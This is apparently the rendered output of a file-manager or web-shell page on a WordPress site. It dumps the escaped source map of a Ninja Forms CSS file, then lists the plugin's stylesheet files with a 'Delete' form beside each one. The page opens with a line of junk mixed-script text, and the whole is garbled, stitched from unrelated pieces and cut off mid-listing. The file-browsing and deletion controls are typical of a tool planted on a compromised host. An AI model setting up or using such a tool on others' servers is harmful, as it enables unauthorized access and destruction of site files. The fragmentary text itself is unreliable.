财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/dashboard.min.css.map</strong></div><pre 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}\n}\n\n/*\nNotices\n---------------------------------------------*/\n\n@import 'notices/oauth';\n\n/*\nSections\n---------------------------------------------*/\n\n@import 'sections/widgets';\n@import 'sections/services';\n@import 'sections/apps';\n@import 'sections/memberships';\n@import 'sections/promotions';\n\n/*\nWidgets\n---------------------------------------------*/\n\n@import 'widgets/forms';\n\n/*\njBox\n---------------------------------------------*/\n\n.jBox-Modal {\n\n    background-color: white;\n\n    .jBox-title {\n        padding-top: 10px;\n        padding-bottom: 10px;\n        font-size: 150%;\n        font-weight: bold;\n        text-align: center;\n        width: 100%;\n    }\n    .jBox-content {\n        padding: 10px;\n        width: 100%;\n    }\n\n    .buttons {\n       &amp;::after {\n         clear: none;\n         content: \&quot;\&quot;;\n         display: block;\n       }\n     }\n}\n\n/*\nLoading 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z-index: 1;\n  margin: 0;\n}\n#ninja-forms-dashboard tr.show-actions .form-row-actions li {\n  padding: 0 10px;\n}\n#ninja-forms-dashboard .nf-search {\n  border-bottom: 1px solid #ECEDEE;\n}\n#ninja-forms-dashboard .nf-search::before {\n  top: 16px;\n}\n#ninja-forms-dashboard .nf-search input[type=search] {\n  width: auto;\n}\n#ninja-forms-dashboard .nf-item-controls .nf-item-control a {\n  margin-left: 20px;\n  width: 24px;\n  cursor: pointer;\n}\n\n/*\nNotices\n---------------------------------------------*/\n@keyframes nf-connected {\n  0% {\n    box-shadow: 0 0 2px rgba(255, 255, 255, 0), inset 0 0 2px rgba(255, 255, 255, 0);\n  }\n  50% {\n    box-shadow: 0 0 2px #84cc1e, inset 100vw 0 2px rgba(255, 255, 255, 0.2);\n  }\n  100% {\n    box-shadow: 0 0 2px rgba(255, 255, 255, 0), inset 100vw 0 2px rgba(255, 255, 255, 0);\n  }\n}\n.nf-notices--oauth {\n  margin-top: -40px;\n  padding-bottom: 20px;\n  text-align: center;\n}\n\n.nf-oauth--checking {\n  padding: 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.pricing-block.highlight {\n  background-color: #f1f1f1;\n}\n.pricing-container .pricing-header {\n  text-align: center;\n}\n.pricing-container .pricing-header &gt; div {\n  margin-bottom: 10px;\n}\n.pricing-container .pricing-header .pricing-title {\n  font-size: 24px;\n  margin-bottom: 16px;\n}\n.pricing-container .pricing-header .pricing-price {\n  font-size: 24px;\n  font-weight: bold;\n  padding: 5px 0;\n}\n.pricing-container .pricing-body &gt; div {\n  padding: 10px 0;\n  position: relative;\n}\n.pricing-container .pricing-body span {\n  display: block;\n  margin-left: 40px;\n}\n.pricing-container .pricing-body ul {\n  list-style: disc;\n  margin-left: 20px;\n  padding-left: 20px;\n}\n.pricing-container .pricing-body hr {\n  margin-top: 10px;\n  margin-bottom: 10px;\n  border: 0;\n  border-top: 1px solid #424242;\n}\n.pricing-container .pricing-body .fa {\n  color: #aaa;\n  font-size: 24px;\n  position: absolute;\n  left: 0;\n}\n.pricing-container .pricing-body .pricing-body-title {\n  font-weight: bold;\n  text-transform: uppercase;\n}\n\n.widget-plan-notice {\n  text-align: center;\n}\n.widget-plan-notice .widget-title {\n  font-size: 32px;\n  font-weight: bold;\n  margin: 0 0 10px 0;\n  text-align: center;\n}\n.widget-plan-notice .nf-button {\n  margin-bottom: 20px;\n}\n\n@keyframes nf-service-installing {\n  100% {\n    transform: rotate(360deg);\n  }\n}\n.dashicons-update-spin {\n  animation: nf-service-installing 1s linear infinite;\n}\n\n.services .nf-extend.full {\n  flex-basis: 100%;\n}\n.services .nf-extend-buttons a {\n  margin-top: 20px;\n}\n.services .nf-extend-buttons .nf-button {\n  margin-top: auto;\n  margin-bottom: 10px;\n}\n\n.jBox-Confirm-button {\n  height: auto !important;\n  font-size: 17px !important;\n  padding: 10px 30px !important;\n}\n\n.jBox-Confirm-button-submit {\n  background: #1ea9ea !important;\n  border: 1px solid #fff !important;\n  color: #fff !important;\n}\n\n.jBox-Confirm-button-cancel {\n  background: #fff !important;\n  border: 1px solid #1ea9ea !important;\n  color: #1ea9ea !important;\n}\n\n/* This section intentionally left blank. */\n.promotion--wrapper {\n  width: 100%;\n  max-width: 50rem;\n  margin: auto;\n  margin-bottom: 20px;\n}\n\n.promotion--wrapper a:focus {\n  box-shadow: unset;\n}\n\n/*\nWidgets\n---------------------------------------------*/\nth {\n  font-weight: bold;\n}\n\n.widget-forms .sortable {\n  cursor: pointer;\n  font-weight: bold;\n  margin-left: -5px;\n}\n.widget-forms .sortable:hover:after {\n  content: \&quot;\\f0dc\&quot;;\n}\n.widget-forms .sortable:after {\n  font-family: \&quot;FontAwesome\&quot;;\n  margin-left: 5px;\n  position: absolute;\n}\n.widget-forms .sortable.sorted-asc:after {\n  content: \&quot;\\f0de\&quot;;\n}\n.widget-forms .sortable.sorted-desc:after {\n  content: \&quot;\\f0dd\&quot;;\n}\n.widget-forms header {\n  display: flex;\n}\n.widget-forms header div {\n  flex: 1;\n}\n.widget-forms header div:first-of-type {\n  flex: 2;\n}\n.widget-forms .action {\n  display: flex;\n}\n.widget-forms .form-row-actions a {\n  cursor: pointer;\n}\n.widget-forms .form-row-actions a.delete {\n  color: #FF4136;\n}\n\n.forms-collection &gt; div {\n  padding: 10px;\n}\n.forms-collection &gt; div:nth-child(odd) {\n  background-color: #EBEDEE;\n}\n.forms-collection .deleting {\n  color: #FF4136;\n  background-color: #ECEDEE;\n}\n.forms-collection .deleting a {\n  color: #FF4136;\n}\n.forms-collection .deleting footer {\n  display: none;\n}\n.forms-collection .nf-main-content.content {\n  display: flex;\n}\n.forms-collection .nf-main-content.content div {\n  flex: 1;\n}\n.forms-collection .nf-main-content.content div:first-of-type {\n  flex: 2;\n}\n.forms-collection footer ul {\n  margin: 0;\n  padding-top: 20px;\n  display: flex;\n}\n.forms-collection footer ul li a.delete {\n  color: red;\n}\n.forms-collection footer ul li:after {\n  content: \&quot; |\&quot;;\n  margin: auto 5px;\n}\n.forms-collection footer ul li:last-child:after {\n  content: \&quot;\&quot;;\n}\n\n.nf-template-grid .section-head {\n  font-size: 36px;\n  font-weight: bold;\n  width: 75%;\n  display: block;\n  border-bottom: 1px solid #ccc;\n  padding-bottom: 15px;\n  margin: 60px 0px 25px 10px;\n}\n.nf-template-grid .template-list {\n  display: flex;\n  justify-content: space-between;\n  flex-wrap: wrap;\n}\n.nf-template-grid .template-list &gt; div {\n  display: flex;\n  width: 50%;\n}\n.nf-template-grid .template-list .template {\n  display: grid;\n  width: 100%;\n}\n.nf-template-grid .template-list .template a {\n  color: #424242;\n  display: block;\n  margin: 5px;\n  padding: 30px;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  min-height: 80px;\n  cursor: pointer;\n}\n.nf-template-grid .template-list .template a:hover {\n  background: #1EA9EA;\n  color: #fff;\n}\n.nf-template-grid .template-list .template a .title {\n  display: block;\n  font-size: 20px;\n  margin-bottom: 10px;\n}\n.nf-template-grid .template-list .ad a {\n  border-color: #EBEDEE;\n}\n.nf-template-grid .template-list .default a {\n  background: #EBEDEE;\n  border-color: #EBEDEE;\n}\n\ntable .forms-table-row li {\n  display: inline-block;\n}\n\n.modal-template {\n  padding: 20px;\n}\n.modal-template img {\n  width: 100%;\n}\n.modal-template iframe {\n  width: 100%;\n  height: 214px;\n}\n.modal-template p:first-of-type {\n  font-size: 16px;\n  font-weight: bold;\n  line-height: 20px;\n  padding: 16px 40px;\n  text-align: center;\n}\n.modal-template .actions {\n  margin-top: 30px;\n}\n.modal-template .actions::after {\n  display: block;\n  clear: both;\n  content: \&quot;\&quot;;\n}\n.modal-template .primary.nf-button {\n  float: right;\n}\n\n/*\njBox\n---------------------------------------------*/\n.jBox-Modal {\n  background-color: white;\n}\n.jBox-Modal .jBox-title {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  font-size: 150%;\n  font-weight: bold;\n  text-align: center;\n  width: 100%;\n}\n.jBox-Modal .jBox-content {\n  padding: 10px;\n  width: 100%;\n}\n.jBox-Modal .buttons::after {\n  clear: none;\n  content: \&quot;\&quot;;\n  display: block;\n}\n\n/*\nLoading Spinner\n---------------------------------------------*/\n.nf-loading-spinner {\n  width: 40px;\n  height: 40px;\n  margin: 15px auto;\n  background-color: rgba(208, 208, 208, 0.5);\n  border-radius: 100%;\n  animation: nf-scaleout 1s infinite ease-in-out;\n}\n\n@-webkit-keyframes nf-scaleout {\n  0% {\n    transform: scale(0);\n  }\n  100% {\n    transform: scale(1);\n    opacity: 0;\n  }\n}\n@keyframes nf-scaleout {\n  0% {\n    transform: scale(0);\n  }\n  100% {\n    transform: scale(1);\n    opacity: 0;\n  }\n}\n.apps-container {\n  display: flex;\n  justify-content: space-between;\n  flex-flow: row wrap;\n  padding: 10px;\n}\n.apps-container .nf-box {\n  background: #fff;\n  flex-basis: 48%;\n}\n.apps-container .nf-box-inside {\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  padding: 10px;\n}\n.apps-container .nf-extend {\n  float: left;\n  margin: 0 0 20px 0;\n  width: 300px;\n  position: relative;\n}\n.apps-container .nf-extend img {\n  margin-bottom: 10px;\n  max-width: 100%;\n  height: auto;\n}\n.apps-container .nf-extend h2 {\n  white-space: nowrap;\n  overflow: hidden;\n}\n.apps-container .nf-extend-content p {\n  min-height: 100px;\n}\n.apps-container .nf-extend-buttons::after {\n  clear: both;\n  content: \&quot;\&quot;;\n  display: block;\n}\n.apps-container .nf-extend .nf-button {\n  float: right;\n}\n.apps-container .nf-extend .nf-doc-button {\n  float: left;\n}\n\n/*\nPromotions\n---------------------------------------------*/\n.promotion--wrapper &gt; div a {\n  position: relative;\n  display: block;\n  background: #f1f1f1;\n  padding: 16px 80px;\n  text-align: center;\n  border-radius: 4px;\n  font-size: 16px;\n  color: #ef4748 !important;\n  overflow: hidden;\n  line-height: 24px;\n}\n.promotion--wrapper &gt; div a &gt; .cta {\n  font-size: 22px;\n}\n.promotion--wrapper &gt; div a &gt; .dashicons, .promotion--wrapper &gt; div a .dashicons-before::before {\n  position: absolute;\n  left: 0;\n  top: -20px;\n  font-size: 90px;\n  transform: rotate(20deg);\n}\n\n.promotion--wrapper &gt; div a.nf-remove-promo-styling {\n  padding: 0;\n  height: 83px;\n}&quot;,&quot;@keyframes nf-connected {\n   0% {\n      box-shadow: 0 0 2px rgba(255, 255, 255, 0),\n            inset 0 0 2px rgba(255, 255, 255, 0);\n   }\n   50% {\n      box-shadow: 0 0 2px #84cc1e,\n            inset 100vw 0 2px rgba(255, 255, 255, .2);\n   }\n   100% {\n      box-shadow: 0 0 2px rgba(255, 255, 255, 0),\n            inset 100vw 0 2px rgba(255, 255, 255, 0);\n   }\n}\n\n.nf-notices--oauth {\n  margin-top: -40px; // Account for the bottom margin on the topbar.\n  padding-bottom: 20px; // Increase hover target, while maintaining whitespace.\n  text-align:center;\n}\n\n.nf-oauth--checking {\n  padding: 5px;\n}\n\n.nf-oauth--connect {\n  display:block;\n  background-color:#1EA9EA;\n  color:white;\n  padding: 5px;\n  text-decoration:none;\n}\n\n.nf-oauth--connected {\n  color: transparent;\n  padding: 0;\n  line-height: .5;\n  transition: all .4s;\n  background-color:#84CC1E;\n}\n.nf-oauth--connected:not(:hover) {\n  animation: nf-connected 8s ease infinite;\n  animation-delay: 2s;\n}\n.nf-notices--oauth:hover .nf-oauth--connected {\n  color:white;\n  line-height: 2;\n  padding: 5px;\n}\n&quot;,&quot;.widget {\n  background-color: #fff;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  margin-bottom: 20px;\n  padding: 20px;\n\n  header {\n    margin-bottom: 20px;\n  }\n\n}\n\n.widget-memberships {\n  border: 0;\n  padding: 0;\n}\n.pricing-container {\n  display: flex;\n  justify-content: space-between;\n  flex-wrap: wrap;\n\n  .pricing-block {\n    width: 30%;\n\n    &amp;.highlight {\n      background-color: #f1f1f1;\n    }\n\n  }\n\n  .pricing-header {\n\n    text-align: center;\n\n    &amp; &gt; div {\n      margin-bottom: 10px;\n    }\n\n    .pricing-title {\n      font-size: 24px;\n      margin-bottom: 16px;\n    }\n\n    .pricing-price {\n      font-size: 24px;\n      font-weight: bold;\n      padding: 5px 0;\n    }\n\n  }\n\n  .pricing-body {\n\n    &amp; &gt; div {\n      padding: 10px 0;\n      position: relative;\n    }\n\n    span {\n      display: block;\n      margin-left: 40px;\n    }\n\n    ul {\n      list-style: disc;\n      margin-left: 20px;\n      padding-left: 20px;\n    }\n\n    hr {\n      margin-top: 10px;\n      margin-bottom: 10px;\n      border: 0;\n      border-top: 1px solid #424242;\n    }\n\n    .fa {\n      //color: #86CA32;\n      color: #aaa;\n      font-size: 24px;\n      position: absolute;\n      left: 0;\n    }\n\n    .pricing-body-title {\n      font-weight: bold;\n      text-transform: uppercase;\n    }\n\n  }\n\n}\n \n\n.widget-plan-notice {\n\n  text-align: center;\n\n  .widget-title {\n    font-size: 32px;\n    font-weight: bold;\n    margin: 0 0 10px 0;\n    text-align: center;\n  }\n\n  .nf-button {\n    margin-bottom: 20px;\n  }\n\n}\n&quot;,&quot;@keyframes nf-service-installing {\n  100% {\n    transform:rotate(360deg);\n  }\n}\n\n.dashicons-update-spin {\n  animation: nf-service-installing 1s linear infinite;\n}\n\n.services {\n  .nf-extend.full {\n    flex-basis: 100%;\n  }\n  .nf-extend-buttons a {\n    margin-top: 20px;\n  }\n  .nf-extend-buttons .nf-button {\n    margin-top: auto; // Reset from anchor.\n    margin-bottom: 10px; // Account for toggle.\n  }\n}\n\n.jBox-Confirm-button {\n  height: auto !important;\n  font-size: 17px !important;\n  padding: 10px 30px !important;\n}\n.jBox-Confirm-button-submit {\n  background: #1ea9ea !important;\n  border: 1px solid #fff !important;\n  color: #fff !important;\n}\n.jBox-Confirm-button-cancel {\n  background: #fff !important;\n  border: 1px solid #1ea9ea !important;\n  color: #1ea9ea !important;\n}\n&quot;,&quot;.promotion--wrapper {\n  width: 100%;\n  max-width: 50rem;\n  margin: auto;\n  margin-bottom: 20px; // Maintain whitespace.\n}\n\n.promotion--wrapper a:focus {\n  box-shadow: unset; // Override WP focus state.\n}\n&quot;,&quot;th {\n  font-weight: bold;\n}\n\n.widget-forms {\n  .sortable {\n    cursor: pointer;\n    font-weight: bold;\n    margin-left: -5px;\n    &amp;:hover {\n      &amp;:after {\n        content: '\\f0dc';\n      }\n    }\n    &amp;:after {\n      font-family: 'FontAwesome';\n      margin-left: 5px;\n      position: absolute;\n    }\n    &amp;.sorted-asc:after {\n      content: \&quot;\\f0de\&quot;;\n    }\n    &amp;.sorted-desc:after {\n      content: \&quot;\\f0dd\&quot;;\n    }\n  }\n  header {\n    display: flex;\n    div {\n      flex: 1;\n    }\n    div:first-of-type {\n      flex: 2;\n    }\n  }\n\n  .action {\n    display: flex;\n  }\n\n  .form-row-actions a {\n    cursor: pointer;\n\n    &amp;.delete {\n      color: #FF4136;\n    }\n  }\n\n}\n\n.forms-collection {\n  &amp; &gt; div {\n    padding: 10px;\n  }\n  &amp; &gt; div:nth-child(odd){\n    background-color: #EBEDEE;\n  }\n  .deleting {\n    color: #FF4136;\n    background-color: #ECEDEE;\n    a {\n      color: #FF4136;\n    }\n    footer {\n      display: none;\n    }\n  }\n  .nf-main-content.content {\n    display: flex;\n    div {\n      flex: 1;\n    }\n    div:first-of-type {\n      flex: 2;\n    }\n  }\n  footer ul {\n    margin: 0;\n    padding-top: 20px;\n    display: flex;\n    li {\n      a.delete {\n        color: red;\n      }\n      &amp;:after {\n        content: ' |';\n        margin: auto 5px;\n      }\n      &amp;:last-child:after {\n        content: '';\n      }\n    }\n  }\n}\n\n.nf-template-grid {\n  .section-head {\n    font-size: 36px;\n    font-weight: bold;\n    width: 75%;\n    display: block;\n    border-bottom: 1px solid #ccc;\n    padding-bottom: 15px;\n    margin: 60px 0px 25px 10px;\n  }\n\n  .template-list {\n    display: flex;\n    justify-content: space-between;\n    flex-wrap: wrap;\n\n    &amp; &gt; div {\n      display: flex;\n      width: 50%;\n    }\n\n    .template {\n      display: grid;\n      width: 100%;\n      a {\n        color: #424242;\n        display: block;\n        margin: 5px;\n        padding: 30px;\n        border: 1px solid #ccc;\n        border-radius: 4px;\n        min-height: 80px;\n        cursor: pointer;\n\n        &amp;:hover {\n          background: #1EA9EA;\n          color: #fff;\n        }\n\n        .title {\n          display: block;\n          font-size: 20px;\n          margin-bottom: 10px\n        }\n      }\n    }\n\n    .ad {\n      a {\n        border-color: #EBEDEE;\n      }\n    }\n\n    .default {\n      a {\n        background: #EBEDEE;\n        border-color: #EBEDEE;\n      }\n    }\n  }\n}\n\ntable .forms-table-row li {\n    display: inline-block;\n}\n\n.modal-template {\n  padding: 20px;\n  img {\n    width: 100%;\n  }\n  iframe {\n    width: 100%;\n    height: 214px;\n  }\n  p:first-of-type {\n    font-size: 16px;\n    font-weight: bold;\n    line-height: 20px;\n    padding: 16px 40px;\n    text-align: center;\n  }\n  .actions {\n    margin-top: 30px;\n    &amp;::after {\n      display: block;\n      clear: both;\n      content: \&quot;\&quot;;\n    }\n  }\n  .primary.nf-button {\n    float: right;\n  }\n}\n&quot;]}</pre><!DOCTYPE html>
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        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fadmin-notices.css"> admin-notices.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/admin-notices.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fadmin-settings.css"> admin-settings.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/admin-settings.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fadmin-system-status.css"> admin-system-status.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/admin-system-status.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fbootstrap.css"> bootstrap.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/bootstrap.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fbuilder.css"> builder.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/builder.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fbuilder.css.map"> builder.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/builder.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fcodemirror.css"> codemirror.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/codemirror.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fcombobox.css"> combobox.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/combobox.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdashboard.min.css"> dashboard.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/dashboard.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdashboard.min.css.map"> dashboard.min.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/dashboard.min.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions-dark.css"> display-opinions-dark.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions-dark.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions-dark.css.map"> display-opinions-dark.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions-dark.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions-light.css"> display-opinions-light.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions-light.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions-light.css.map"> display-opinions-light.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions-light.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions.css"> display-opinions.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-opinions.css.map"> display-opinions.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-opinions.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-structure.css"> display-structure.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-structure.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fdisplay-structure.css.map"> display-structure.css.map</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/display-structure.css.map">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fflatpickr.css"> flatpickr.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/flatpickr.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Ffont-awesome.min.css"> font-awesome.min.css</a>
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                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/font-awesome.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
